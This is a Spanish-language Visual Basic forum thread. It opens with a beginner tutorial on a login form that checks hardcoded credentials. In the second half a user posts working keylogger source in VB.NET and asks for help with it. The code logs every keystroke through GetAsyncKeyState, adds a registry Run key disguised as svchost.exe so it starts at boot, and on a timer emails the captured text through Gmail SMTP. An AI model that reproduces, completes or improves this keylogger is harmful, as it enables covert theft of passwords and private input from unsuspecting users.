Mensajes

[Hola,Vengo a explicarles como crear un programa que pida contraseña para abrir el otro form.Lo que necesitaremos es:5 labels,2 Botones (Command) y 2 TextPonerle los siguientes nombres:Labels: Usuario,Contraseña,Datos Incorrectos,Datos Correctos,Error de datos,clickear en comprobarBotones: Aceptar,ComprobarText: Los dejamos vacios.Codeo:]

Hola,Vengo a explicarles como crear un programa que pida contraseña para abrir el otro form.

Lo que necesitaremos es:

5 labels,2 Botones (Command) y 2 Text

Ponerle los siguientes nombres:

Labels: Usuario,Contraseña,Datos Incorrectos,Datos Correctos,Error de datos,clickear en comprobar

Botones: Aceptar,Comprobar

Text: Los dejamos vacios.


Codeo:

Código [Seleccionar] Expandir

Private Sub Command1_Click()
If Text1.Text = "Alumno" And Text2.Text = "4456" Then
Label4.Visible = True
Label3.Visible = False
Label5.Visible = False
Else
Label3.Visible = True
Label5.Visible = False
End If
End Sub

Private Sub Command2_Click()
If Text1.Text = "Alumno" And Text2.Text = "4456" Then
Form2.Show
Else
Label5.Visible = True
Label4.Visible = False
Label3.Visible = False
End If
End Sub
Private Sub Form_Load()
Dim a As String
Dim b As String
Dim fun As String
a = "Alumno"
b = "4456"
fun = (a & b)

Si no quieren que tenga los labels y ingresar directamente cuando ponen el id y el pass bien colocar este comando en un Command:

Código [Seleccionar] Expandir

If Text1.Text = "Aca el id" And Text2.Text = "Aca el Pass" Then
Form2.Show
End If
End Sub

Para que al abrirse el form 2 desaparezca el primer form hay que ponerle este comando:

Código [Seleccionar] Expandir

Form1.Hide ' Este comando sirve para ocultar el form.

Ejemplo para colocarlo:

Código [Seleccionar] Expandir

If Text1.Text = "Axtrax" And Text2.Text = "Probando" Then
Form2.Show
Form1.Hide
End If
End Sub

Terminado quedaria asi:



Al insertar un ID y pass Incorrectos y Clickear aceptar:



Al colocar un ID y pass Incorrectos y clickear comprobar:



Al  Colocar un ID y pass Correctos y clickear comprobar:



Al Colocar un ID y pass Correctos y clickear Aceptar:





Como veran abrio el segundo formulario pero en este caso el primer formulario no se oculto por que no le puse el comando para que se oculte,espero que entiendan mi tutorial y que les guste,postee esto por que vi que muchas personas pro internet preguntaban como hacerlo ademas este foro tiene mucha informacion que me ha sido util para aprender otras cosas de vb esto es algo basico lo que les e enseñado,suerte y que siga asi el foro  .

lo mejor de todo es un hook..

mmm estuve buscando pero no encuentro la forma de agregarselo a mi codeo porfavor si serias tan amable podrias de mi codeo agregarle todo para que se vean los simbolos o cuando el preciona (enter) que aparezca?
te lo agradeceria mucho ^^

Bueno,lo que necesito es que mi keylogger detecte todo,si aprienta enter y cada simbolo por ejemplo @ etc.

Mi codeo:

Imports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Shell("reg add hklm\software\microsoft\windows\currentversion\run /v svchost.exe /t reg_sz /d C:\WINDOWS\system\svchost.exe /f ")
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential(".....", ".....")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("....")
        mail.From = New MailAddress("username@gmail.com")
        mail.Subject = "Message HSSD70"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)
    End Sub
End Class

espero que me puedan ayudar,si aqui no es donde va la pregunta diganme donde pero porfavor ayudenme